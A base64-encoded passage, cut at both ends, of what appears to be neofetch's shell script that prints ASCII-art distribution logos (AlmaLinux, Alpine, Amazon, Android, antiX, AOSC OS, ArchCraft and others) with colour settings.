5OTk5OTk5OTk5OTk5OTk5Ocy55bwogICAgOmgrLXlOTk5OTk5OTk5OTk5OTk5OTk5OTk5Ocy1vaC0KICAgICAgOnlzOi95Tk5OTk5OTk5OTk5OTk5ObXkvOnN5OgogICAgICAgIC4reXMvLy9vc3loaGhoeXMrLy8vc3krLgogICAgICAgICAgICAtL29zc3Nvc3Nvc3Nzby8tCkVPRgogICAgICAgIDs7CgoJIkFwZXJpbyBHTlUvTGludXgiKikKCSAgICBzZXRfY29sb3JzIDI1NQoJICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MyfQogXy4uXyAgXyAuXy4uIF8KKF9dW18pKC8sWyAgfChfKQogICB8ICAgR05VL0xpbnV4CkVPRgoJOzsKCiAgICAgICAgIkhhc2giKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAxMjMKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9CgogICAgICArICAgIyMjIyMjICAgKwogICAgIyMjICAgIyMjIyMjICAgIyMjCiAgIyMjIyMgICAjIyMjIyMgICAjIyMjIwogIyMjIyMjICAgIyMjIyMjICAgIyMjIyMjCgojIyMjIyMjICciIyMjIyMjICciIyMjIyMjIyMKIyMjIyMjIyAgICMjIyMjIyAgICMjIyMjIyMjCiMjIyMjIyMgICAjIyMjIyMgICAjIyMjIyMjIwoKICMjIyMjIyAnIiMjIyMjIyAnIiMjIyMjIwogICMjIyMjICAgIyMjIyMjICAgIyMjIyMKICAgICMjIyAgICMjIyMjIyAgICMjIwogICAgICB+ICAgIyMjIyMjICAgfgoKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkFsbWFMaW51eCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDEgMyA0IDIgNgogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAnYzouCiR7YzF9ICAgICAgICBsa2treCwgLi4gICAgICAgJHtjMn0uLiAgICxjYywKJHtjMX0gICAgICAgIG9ra2trOmNra3gnICAke2MyfS5seGtreC5va2tra2QKJHtjMX0gICAgICAgIC46bGxjb2treCcgICR7YzJ9Omtra3hra286eGtrZCwKJHtjMX0gICAgICAueGtra2tkb29kOiAgJHtjMn07a3gsICAubGt4bGxsOwoke2MxfSAgICAgICB4a2t4LiAgICAgICAke2MyfXhrJyAgICAgeGtra2trOgoke2MxfSAgICAgICAneGt4LiAgICAgICAke2MyfXhkICAgICAgLi4uLi4sLgoke2MzfSAgICAgIC4uICR7YzF9OnhrbCcgICAgICR7YzJ9OmMgICAgICAuLicnLi4KJHtjM30gICAgLmRreCcgICR7YzF9LjpsZGw6Jy4gJHtjMn0nICAke2M0fSc6bG9sbGxka2t4bzsKJHtjM30gIC4nJ2xra2tvJyAgICAgICAgICAgICAgICAgICAgICR7YzR9Y2tra3guCiR7YzN9J3hra2tkOmtrZC4gICAgICAgLi4gICR7YzV9OycgICAgICAgICR7YzR9OmtreG8uCiR7YzN9LHhra2tkO2trJyAgICAgICxkOyAgICAke2M1fWxkLiAgICR7YzR9Jzpka2Q6OmNjLAoke2MzfSAuLCwuO3hra28nLic7bHhvLiAgICAgICR7YzV9ZHgsICAke2M0fTpra2sneGtra2tjCiR7YzN9ICAgICAnZGtra2treG86LiAgICAgICAgJHtjNX07a3ggICR7YzR9Lmtrazo7eGtrZC4KJHtjM30gICAgICAgLi4uLi4gICAke2M1fS47ZGs6LiAgICR7YzV9bGtrLiAgJHtjNH06OywKICAgICAgICAgICAgICR7YzV9Omtra2tra2tkb3hra3gKICAgICAgICAgICAgICAsYywsOzs7Onhra2QuCiAgICAgICAgICAgICAgICA7a2tra2wuLi4KICAgICAgICAgICAgICAgIDtra2trbAogICAgICAgICAgICAgICAgICxvZDsKRU9GCiAgICAgICAgOzsKCiAgICAgICAgImFscGluZV9zbWFsbCIpCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgIC9cXCAvXFwKICAvJHtjMn0vICR7YzF9XFwgIFxcCiAvJHtjMn0vICAgJHtjMX1cXCAgXFwKLyR7YzJ9Ly8gICAgJHtjMX1cXCAgXFwKJHtjMn0vLyAgICAgICR7YzF9XFwgIFxcCiAgICAgICAgIFxcCkVPRgogICAgICAgIDs7CgogICAgICAgICJBbHBpbmUiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDUgNyA2CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAuaGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRoLgogICAgICA6ZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQ6CiAgICAgL2RkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGQvCiAgICArZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkKwogIGBzZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRzYAogYHlkZGRkZGRkZGRkZGQrK2hkZGRkZGRkZGRkZGRkZGRkZGRkeWAKLmhkZGRkZGRkZGRkZCtgICBgK2RkZGRoOi1zZGRkZGRkZGRkZGRoLgpoZGRkZGRkZGRkZCtgICAgICAgYCt5OiAgICAuc2RkZGRkZGRkZGRoCmRkZGRkZGRkaCtgICAgYC8vYCAgIGAuYCAgICAgLXNkZGRkZGRkZGQKZGRkZGRkaCtgICAgYC9oZGRoL2AgICBgOnMtICAgIC1zZGRkZGRkZApkZGRkaCtgICAgYC8rL2RkZGRkaC9gICAgYCtzLSAgICAtc2RkZGRkCmRkZCtgICAgYC9vYCA6ZGRkZGRkZGgvYCAgIGBveS0gICAgLnlkZGQKaGRkZHlvK29oZGR5b3NkZGRkZGRkZGRobytveWRkZHkrK29oZGRkaAouaGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGguCiBgeWRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGR5YAogIGBzZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRzYAogICAgK2RkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZCsKICAgICAvZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZC8KICAgICAgOmRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkOgogICAgICAgLmhkZGRkZGRkZGRkZGRkZGRkZGRkZGRkaC4KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkFsdGVyIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNiA2CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAgICAgICAgICAlLAogICAgICAgICAgICAgICAgICAgIF5XV1d3CiAgICAgICAgICAgICAgICAgICAnd3d3d3d3CiAgICAgICAgICAgICAgICAgICF3d3d3d3d3dwogICAgICAgICAgICAgICAgICNgd3d3d3d3d3d3CiAgICAgICAgICAgICAgICBAd3d3d3d3d3d3d3d3CiAgICAgICAgICAgICAgIHd3d3d3d3d3d3d3d3d3dwogICAgICAgICAgICAgIHd3d3d3d3d3d3d3d3d3d3d3CiAgICAgICAgICAgICB3d3d3d3d3d3d3d3d3d3d3d3d3CiAgICAgICAgICAgIHd3d3d3d3d3d3d3d3d3d3d3d3d3LAogICAgICAgICAgIHd+MWkud3d3d3d3d3d3d3d3d3d3d3csCiAgICAgICAgIDN+On4xbGxpLnd3d3d3d3d3d3d3d3d3d3cuCiAgICAgICAgOn5+On4/dHR0dHp3d3d3d3d3d3d3d3d3d3d3CiAgICAgICAjPH46fn5+fj9sbGxsbHRPLS53d3d3d3d3d3d3dwogICAgICAjfjp+fjp+On5+P2x0bGx0bHR0Ty0ud3d3d3d3d3d3CiAgICAgQH46fn46fjp+On5+KHp0dGxsdGx0bE9kYS53d3d3d3d3CiAgICBAfjp+fjogfjp+fjp+Oih6bHRsbHRsTyAgICBhLHd3d3d3dwogICA4fn46fn46fn5+fjp+fn5+XzFsdGx0dSAgICAgICAgICAsd3d3CiAgNX5+On5+On5+On5+On5+On5+fl8xbHRxICAgICAgICAgICAgIE4sLAogZ346fn46fn5+On5+On5+On46fn5+fjFxICAgICAgICAgICAgICAgIE4sCkVPRgogICAgICAgIDs7CgogICAgICAgICJBbWF6b24iKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAzIDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgIGAtL295ZE5OZHlvOi5gCiAgICAgIGAuOitzaG1NTU1NTU1NTU1NTU1NTW1ocys6LmAKICAgIC0raE5OTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU5OaG8tCi5gYCAgICAgIC0vK3NobU5OTU1NTU1NTk5taHMrLy0gICAgICBgYC4KZE5taHMrOi4gICAgICAgYC46L29vLzouYCAgICAgICAuOitzaG1OZApkTU1NTU1NTU5kaHMrOi4uICAgICAgICAuLjorc2hkTk1NTU1NTU1kCmRNTU1NTU1NTU1NTU1NTU5kcyAgICBvZE5NTU1NTU1NTU1NTU1NTWQKZE1NTU1NTU1NTU1NTU1NTU1oICAgIHlNTU1NTU1NTU1NTU1NTU1NZApkTU1NTU1NTU1NTU1NTU1NTWggICAgeU1NTU1NTU1NTU1NTU1NTU1kCmRNTU1NTU1NTU1NTU1NTU1NaCAgICB5TU1NTU1NTU1NTU1NTU1NTWQKZE1NTU1NTU1NTU1NTU1NTU1oICAgIHlNTU1NTU1NTU1NTU1NTU1NZApkTU1NTU1NTU1NTU1NTU1NTWggICAgeU1NTU1NTU1NTU1NTU1NTU1kCmRNTU1NTU1NTU1NTU1NTU1NaCAgICB5TU1NTU1NTU1NTU1NTU1NTWQKZE1NTU1NTU1NTU1NTU1NTU1oICAgIHlNTU1NTU1NTU1NTU1NTU1NZApkTU1NTU1NTU1NTU1NTU1NTWggICAgeU1NTU1NTU1NTU1NTU1NTU1kCmRNTU1NTU1NTU1NTU1NTU1NaCAgICB5TU1NTU1NTU1NTU1NTU1NTWQKLjoreWROTU1NTU1NTU1NTU1oICAgIHlNTU1NTU1NTU1NTU5keSs6LgogICAgIGAuOitzaE5NTU1NTWggICAgeU1NTU1NTmhzKzpgYAogICAgICAgICAgICBgLStzaHkgICAgc2hzKzpgCkVPRgogICAgICAgIDs7CiAgICAgICAgIkFuYXJjaHkiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA3IDQKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiAgICAgICAgICAgICAgICAgICAgICAgICAke2MyfS4uJHtjMX0KICAgICAgICAgICAgICAgICAgICAgICAgJHtjMn0uLiR7YzF9CiAgICAgICAgICAgICAgICAgICAgICAke2MyfTouLiR7YzF9CiAgICAgICAgICAgICAgICAgICAgJHtjMn06KysrLiR7YzF9CiAgICAgICAgICAgICAgLjo6OisrJHtjMn0rKysrJHtjMX0rOjouCiAgICAgICAgICAuOisjIyMjIyMke2MyfSsrKyske2MxfSMjIyMjIys6LgogICAgICAgLisjIyMjIyMjIyMke2MyfSsrKysrJHtjMX0jIyMjIyMjIyMjOi4KICAgICAuKyMjIyMjIyMjIyMke2MyfSsrKysrKyske2MxfSMjJHtjMn0rJHtjMX0jIyMjIyMjIyMrLgogICAgKyMjIyMjIyMjIyMjJHtjMn0rKysrKysrKyske2MxfSMjIyMjIyMjIyMjIzoKICAgKyMjIyMjIyMjIyMke2MyfSsrKysrKyR7YzF9IyR7YzJ9KysrKyR7YzF9IyR7YzJ9KyR7YzF9IyMjIyMjIyMjIyMrCiAgKyMjIyMjIyMjIyMjJHtjMn0rKysrKyR7YzF9IyMjJHtjMn0rKysrJHtjMX0jJHtjMn0rJHtjMX0jIyMjIyMjIyMjIysKIDojIyMjIyMjIyMjJHtjMn0rJHtjMX0jJHtjMn0rKysrJHtjMX0jIyMjJHtjMn0rKysrJHtjMX0jJHtjMn0rJHtjMX0jIyMjIyMjIyMjIyM6CiAjIyMjIyMjIyMjIyR7YzJ9KysrKyske2MxfSMjIyMjJHtjMn0rKysrKyR7YzF9IyR7YzJ9KyR7YzF9IyMjJHtjMn0rKyR7YzF9IyMjIyMjKwouIyMjIyMjIyMjIyR7YzJ9KysrKysrJHtjMX0jIyMjIyR7YzJ9KysrKysrKysrKysrJHtjMX0jIyMjIyMjLgouIyMjIyMjIyMjIyR7YzJ9KysrKysrKysrKysrKysrKysrKyR7YzF9IyMjIyMjIyMjIyMuCiAjIyMjIyR7YzJ9KysrKysrKysrKysrKyske2MxfSMjIyR7YzJ9KysrKysrKyske2MxfSMjIyMjIyMjIysKIDojIyMke2MyfSsrKysrKysrKyske2MxfSMjIyMjIyMjIyR7YzJ9KysrKysrKyR7YzF9IyMjIyMjIyMjOgogICsjIyMjIyMke2MyfSsrKysrJHtjMX0jIyMjIyMjIyMjJHtjMn0rKysrKysrKyR7YzF9IyMjIyMjIysKICAgKyMjIyMke2MyfSsrKysrJHtjMX0jIyMjIyMjIyMjIyR7YzJ9KysrKysrKysrJHtjMX0jIyMjIysKICAgIDojIyR7YzJ9KysrKysrJHtjMX0jIyMjIyMjIyMjIyMke2MyfSsrKysrKysrKyske2MxfSMjOgogICAgIC4ke2MyfSsrKysrKyR7YzF9IyMjIyMjIyMjIyMjIyR7YzJ9KysrKysrKysrKyR7YzF9Ky4KICAgICAgOiR7YzJ9KysrKyR7YzF9IyMjIyMjIyMjIyMjIyMjJHtjMn0rKysrKysrJHtjMX06OgogICAgIC4ke2MyfSsrLiAuOiske2MxfSMjIyMjIyMjIyMjIyMjJHtjMn0rKysrKysrJHtjMX0uLgogICAgICR7YzJ9LjouJHtjMX0gICAgICAuLjo6KysrKysrOjouLjoke2MyfSsrKyske2MxfSsuCiAgICAgJHtjMn0uJHtjMX0gICAgICAgICAgICAgICAgICAgICAgICR7YzJ9LjorKyske2MxfS4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAke2MyfS46JHtjMX06CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHtjMn0uLiR7YzF9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR7YzJ9Li4ke2MxfQpFT0YKICAgICAgICA7OwoKICAgICAgICAiYW5kcm9pZF9zbWFsbCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDIgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gIDssICAgICAgICAgICAsOwogICAnOywuLS0tLS0uLDsnCiAgLCcgICAgICAgICAgICcsCiAvICAgIE8gICAgIE8gICAgXFwKfCAgICAgICAgICAgICAgICAgfAonLS0tLS0tLS0tLS0tLS0tLS0nCkVPRgogICAgICAgIDs7CgogICAgICAgICJBbmRyb2lkIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMiA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgIC1vICAgICAgICAgIG8tCiAgICAgICAgICAraHlkTk5OTmR5aCsKICAgICAgICArbU1NTU1NTU1NTU1NTW0rCiAgICAgIGBkTU0ke2MyfW06JHtjMX1OTU1NTU1NTiR7YzJ9Om0ke2MxfU1NZGAKICAgICAgaE1NTU1NTU1NTU1NTU1NTU1NTWgKICAuLiAgeXl5eXl5eXl5eXl5eXl5eXl5eXkgIC4uCi5tTU1tYE1NTU1NTU1NTU1NTU1NTU1NTU1NYG1NTW0uCjpNTU1NLU1NTU1NTU1NTU1NTU1NTU1NTU1NLU1NTU06CjpNTU1NLU1NTU1NTU1NTU1NTU1NTU1NTU1NLU1NTU06CjpNTU1NLU1NTU1NTU1NTU1NTU1NTU1NTU1NLU1NTU06CjpNTU1NLU1NTU1NTU1NTU1NTU1NTU1NTU1NLU1NTU06Ci1NTU1NLU1NTU1NTU1NTU1NTU1NTU1NTU1NLU1NTU0tCiAreXkrIE1NTU1NTU1NTU1NTU1NTU1NTU1NICt5eSsKICAgICAgbU1NTU1NTU1NTU1NTU1NTU1NTW0KICAgICAgYC8rK01NTU1oKytoTU1NTSsrL2AKICAgICAgICAgIE1NTU1vICBvTU1NTQogICAgICAgICAgTU1NTW8gIG9NTU1NCiAgICAgICAgICBvTk1tLSAgLW1NTnMKRU9GCiAgICAgICAgOzsKCiAgICAiaW5zdGFudE9TIiopCiAgICAgICAgc2V0X2NvbG9ycyA0IDYKICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKCiR7YzF9CiAgICAgJ2N4MFhXV01NV05LT2Q6Jy4KICAuO2tOTU1NTU1NTU1NTU1NTVdOS2QnCiAna05NTU1NTU1XTk5OV01NTU1NTU1NWG8uCiwwTU1NTU1XMG87Jy4uLDpkS1dNTU1NTVd4LgpPTU1NTU1YbC4gICAgICAgIC54Tk1NTU1NTm8KV01NTU1ObCAgICAgICAgICAgLmtXV01NTU1PJwpNTU1NTVg7ICAgICAgICAgICAgb05XTU1NTUssCk5NTU1NV28gICAgICAgICAgIC5PV01NTU1NSywKa1dNTU1NTmQuICAgICAgICAsa1dNTU1NTU1LLAona1dNTU1NV1h4bDo7Ozpva05NTU1NTU1NTUssCiAub1hNTU1NTU1NV1dXTU1NTU1NTU1NTU1NSywKICAgJ29LV01NTU1NTU1NTU1NTU1NTU1NTU1LLAogICAgIC47bHhPS1hYWFhYWFhYWFhYWFhYWE87Li4uLi4uCiAgICAgICAgICAuLi4uLi4uLi4uLi4uLi4uLGQwMDAwMDAwa2Q6LgogICAgICAgICAgICAgICAgICAgICAgICAgIC5rTU1NTU1NTU1NVzA7CiAgICAgICAgICAgICAgICAgICAgICAgICAgLmtNTU1NTU1NTU1NTVgKICAgICAgICAgICAgICAgICAgICAgICAgICAueE1NTU1NTU1NTU1NVwogICAgICAgICAgICAgICAgICAgICAgICAgICBjWE1NTU1NTU1NTU0wCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA6MFdNTU1NTU1OeCwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAubzBOTVdOT2MuCkVPRgogICAgICAgIDs7CgogICAgICAgICJBbnRlcmdvcyIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNgogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0gICAgICAgICAgICAgIGAuLS86Oi8tYGAKICAgICAgICAgICAgLi0vb3Nzc3Nzc3Nzby8uCiAgICAgICAgICAgOm9zeXlzc3Nzc3NzeXl5cystCiAgICAgICAgYC4reXl5eXNzc3Nzc3Nzc3l5eXl5Ky4KICAgICAgIGAvc3l5eXl5c3Nzc3Nzc3Nzc3l5eXl5cy1gCiAgICAgIGAveWh5eXl5eXNzcyR7YzF9Kyske2MyfXNzb3N5eXl5aGh5L2AKICAgICAub2hoaHl5eXlzJHtjMX1vKysvK28ke2MyfXNvJHtjMX0rJHtjMn1zeXkke2MxfSske2MyfXNoaGhoby4KICAgIC5zaGhoaHlzJHtjMX1vbysrLy8rJHtjMn1zc3Mke2MxfSsrKyR7YzJ9eXl5JHtjMX0rcyR7YzJ9aGhoaHMuCiAgIC15aGhoaHMke2MxfSsrKysrKytvJHtjMn1zc3NvJHtjMX0rKyske2MyfXl5eSR7YzF9cytvJHtjMn1oaGRkeToKICAteWRkaGh5JHtjMX1vKysrKytvJHtjMn1zeXlzcyR7YzF9KysrKyR7YzJ9eXl5JHtjMX15b295JHtjMn1oZGRkeS0KIC55ZGRkZGhzJHtjMX1vKytvJHtjMn1zeXl5eXlzJHtjMX0rKysrKyR7YzJ9eXloaCR7YzF9c29zJHtjMn1oZGRkZHlgCmBvZGRkZGRoeW9zeWh5eXl5eXkke2MxfSsrKysrKyR7YzJ9eWhoaHlvc2RkZGRkZG8KLmRtZGRkZGRoaGhoaGhoeXl5byR7YzF9KysrKyske2MyfXNoaGhoaG9oZGRkZG1taC4KZGRtbWRkZGRkaGhoaGhoaHNvJHtjMX0rKysrKyske2MyfXloaGhoaGhkZGRkZG1tZHkKZG1tbWRkZGRkZGRoaGh5c28ke2MxfSsrKysrKyR7YzJ9c2hoaGhoZGRkZGRkbW1tbWgKLWRtbW1kZGRkZGRkaGh5cyR7YzF9bysrKytvJHtjMn1zaGhoaGRkZGRkZGRtbW1tZC0KLnNtbW1tZGRkZGRkZGRoaGhoaGhoaGhkZGRkZGRkZGRtbW1tcy4KICAgYCt5ZG1tbWRkZGRkZGRkZGRkZGRkZGRkZGRtbW1tZHkvLgogICAgICBgLjorb295eWRkZGRkZGRkZGRkZHl5c28rOi5gCkVPRgogICAgICAgIDs7CgogICAgICAgICJhbnRpWCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDEgNyAzCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfQogICAgICAgICAgICAgICAgICAgIFwKICAgICAgICAgLCAtIH4gXiB+IC0gXCAgICAgICAgLwogICAgICwgJyAgICAgICAgICAgICAgXCAnICwgIC8KICAgLCAgICAgICAgICAgICAgICAgICBcICAgJy8KICAsICAgICAgICAgICAgICAgICAgICAgXCAgLyAsCiAsX19fLCAgICAgICAgICAgICAgICAgICBcLyAgICwKIC8gICB8ICAgXyAgXyAgX3xfIG8gICAgIC9cICAgLAp8LCAgIHwgIC8gfC8gfCAgfCAgfCAgICAvICBcICAsCiBcLF8vXF8vICB8ICB8Xy98Xy98Xy9fLyAgICBcLAogICAsICAgICAgICAgICAgICAgICAgLyAgICAgLFwKICAgICAsICAgICAgICAgICAgICAgLyAgLCAnICAgXAogICAgICAnIC0gLCBfIF8gXyAsICAnCkVPRgogICAgICAgIDs7CgogICAgICAgICJBT1NDIE9TL1JldHJvIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA3IDEgMwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0gICAgICAgICAgLi4uLi4uLi4uCiAgICAgLi4uLi4uLi4uLi4uLi4uLi4uLgogICAuLi4uLi4uLi4uLi4uLi4uLi4uLi4ke2MxfSMjIyMjIyMjIyMjIyMjIyMke2MyfQogLi4uLi4uLi4uLi4uLi4gICAgIC4uLi4ke2MxfSMjIyMjIyMjIyMjIyMjIyMke2MyfQouLi4uLi4uLi4uLi4uLiAgICAgICAuLi4ke2MxfSMjIyMjIyMjIyMjIyMjIyMke2MyfQouLi4uLi4uLi4uLi4uICAgICAgICAgLi4ke2MxfSoqKioqKioqKioqKioqKioke2MyfQouLi4uLi4uLi4uLi4gICAgIC4gICAgIC4ke2MxfSoqKioqKioqKioqKioqKioke2MyfQouLi4uLi4uLi4uLiAgICAgLi4uICAgICAke2MxfS4uLi4uLi4uLi4uLi4uLi4ke2MyfQouLi4uLi4uLi4uICAgICAuLi4uLiAgICAgJHtjMX0uLi4uLi4uLi4uLi4uLi4ke2MyfQouLi4uLi4uLi4gICAgIC4uLi4uLi4gICAgIC4uLgogLiR7YzN9Li4uLi4uICAgICAgICAgICAgICAgICAgICR7YzJ9LgogICR7YzN9Li4uLi4gICAgICAuLi4uLiR7YzJ9Li4uLiAgICAke2M0fS4uLi4uLi4uLi4uCiAgJHtjM30uLi4uICAgICAgLi4uLi4uJHtjMn0uICAgICAgICR7YzR9Li4uLi4uLi4uLi4KICAke2MzfS4uLiAgICAgIC4uLi4uLi4gICAgICAgICR7YzR9Li4uLi4uLi4uLi4KICAke2MzfS4uLi4uLi4uLi4uLi4uLi4gICAgICAgICR7YzR9KioqKioqKioqKioKICAke2MzfS4uLi4uLi4uLi4uLi4uLi4gICAgICAgICR7YzR9IyMjIyMjIyMjIyMKICAke2MzfSoqKioqKioqKioqKioqKioKICAke2MzfSMjIyMjIyMjIyMjIyMjIyMKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIkFPU0MgT1MiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0gICAgICAgICAgICAgLjorc3loaGhoeXMrOi4KICAgICAgICAgLm9oTk1NTU1NTU1NTU1NTU1NTmhvLgogICAgICBgK21NTU1NTU1NTU1NbWRtTk1NTU1NTU1NbStgCiAgICAgK05NTU1NTU1NTU1NTU0vICAgYC4vc21NTU1NTU4rCiAgIC5tTU1NTU1NTU1NTU1NTU1vICAgICAgICAteU1NTU1NbS4KICA6Tk1NTU1NTU1NTU1NTU1NTXMgICAgICAgICAgLmhNTU1NTjoKIC5OTU1NTWhtTU1NTU1NTU1NTW0rLy0gICAgICAgICBvTU1NTU4uCiBkTU1NTXMgIC4veW1NTU1NTU1NTU1NTnkuICAgICAgIHNNTU1NZAotTU1NTU5gICAgICAgb01NTU1NTU1NTU1NTjogICAgICBgTk1NTU0tCi9NTU1NaCAgICAgICBOTU1NTU1NTU1NTU1NbSAgICAgICBoTU1NTS8KL01NTU1oICAgICAgIE5NTU1NTU1NTU1NTU1tICAgICAgIGhNTU1NLwotTU1NTU5gICAgICAgOk1NTU1NTU1NTU1NTXkuICAgICBgTk1NTU0tCiBkTU1NTXMgICAgICAgLnlOTU1NTU1NTU1NTU1OeS8uIHNNTU1NZAogLk5NTU1NbyAgICAgICAgIC0vK3NNTU1NTU1NTU1NTW1NTU1NTi4KICA6Tk1NTU1oLiAgICAgICAgICAuTU1NTU1NTU1NTU1NTU1NTjoKICAgLm1NTU1NTXktICAgICAgICAgTk1NTU1NTU1NTU1NTU1tLgogICAgICtOTU1NTU1tcy8uYCAgICBtTU1NTU1NTU1NTU1OKwogICAgICBgK21NTU1NTU1NTU5tZGRNTU1NTU1NTU1NbStgCiAgICAgICAgIC5vaE5NTU1NTU1NTU1NTU1NTU5oby4KICAgICAgICAgICAgIC46K3N5aGhoaHlzKzouCkVPRgogICAgICAgIDs7CgogICAgICAgICJBcHJpY2l0eSIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MyfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC4vby0KICAgICAgICAgIGBgLi4uYGAgICAgICAgICAgICAgIGA6LiAtLzoKICAgICBgLSt5bU5NTU1NTU5taG8tYCAgICAgIDpzZE5ObS8KICAgYCtkTU1NTU1NTU1NTU1NTU1NbW9gIHNoOi46OjotCiAgL21NTU1NTU1NTU1NTU1NTU1NTU1NbS9gc05kLwogb01NTU1NTU1NTU1NTU1NTU1NTU1NTU1NcyAtYAo6TU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTS8KTk1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1kCk1NTU1NTU1tZG1NTU1NTU1NTU1NTU1NTU1NZApNTU1NTU15YCAubU1NTU1NTU1NTU1NbWhvOmAKTU1NTU1NTm8vc01NTU1NTU1OZHkrLS5gLS8KTU1NTU1NTU1NTU1NTmR5KzouYC46b2htbToKTU1NTU1NTW1ocystLmAuOit5bU5NTU15LgpNTU1NTU0vYC4tL29obU5NTU1NTU15LQpNTU1NTU1ObU5OTU1NTU1NTU1tby4KTU1NTU1NTU1NTU1NTU1NbXM6YApNTU1NTU1NTU1NTmRzLy4KZGhoeXlzKy8tYApFT0YKICAgICAgICA7OwoKICAgICAgICAiQXJjaGNyYWZ0IiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNiA2IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICAgICAgLW06CiAgICAgICAgICAgICAgICAgIDpOTU0rICAgICAgLisKICAgICAgICAgICAgICAgICArTU1NTU1vICAgIC1OTXkKICAgICAgICAgICAgICAgIHNNTU1NTU1NeSAgLU1NTU1oYAogICAgICAgICAgICAgICB5TU1NTU1NTU1NZGAgb01NTU1kYAogICAgICAgICAgICAgYGRNTU1NTU1NTU1NTW0uIC9NTU1NbS0KICAgICAgICAgICAgLm1NTU1NTW0tZE1NTU1NTi0gOk5NTU1OOgogICAgICAgICAgIC1OTU1NTU1kYCAgeU1NTU1NTjogLm1NTU1NLwogICAgICAgICAgOk5NTU1NTXkgICAgIHNNTU1NTU0rIGBkTU1NTW8KICAgICAgICAgK01NTU1NTXMgICAgICAgK01NTU1NTXMgYGhNTU1NeQogICAgICAgIG9NTU1NTU1NZHMtICAgICAgOk5NTU1NTXkgIHNNTU1NaGAKICAgICAgIHlNTU1NTU5veWRNTW1vYCAgICAtTk1NTU1NZGAgK01NTU1kLgogICAgIGBkTU1NTU1OLSAgIGA6eU5Oc2AgICAubU1NTU1NbS4gL01NTU1tLQogICAgLm1NTU1NTW0uICAgICAgICA6aE4vICAgYGRNTU1NTU4tIC1OTU1NTjoKICAgLU5NTU1NTWRgICAgICAgICAgICAtaGhgICBgeU1NTU1NTjogLm1NTU1NLwogIDpOTU1NTU15ICAgICAgICAgYHNgICAgOmguICAgb01NTU1NTSsgYC0tLS0tCiArTU1NTU1NbyAgICAgICAgIC5kTW0uICAgYG8uICAgK01NTU1NTW8Kc01NTU1NTSsgICAgICAgICAubU1NTU46ICAgIDpgICAgOk5NTU1NTXkKRU9GCiAgICAgICAgOzsKCiAgICAgICAgImFyY29saW51eF9zbWFsbCIqKQogICAgICAgICAgICBzZXRfY29sb3JzID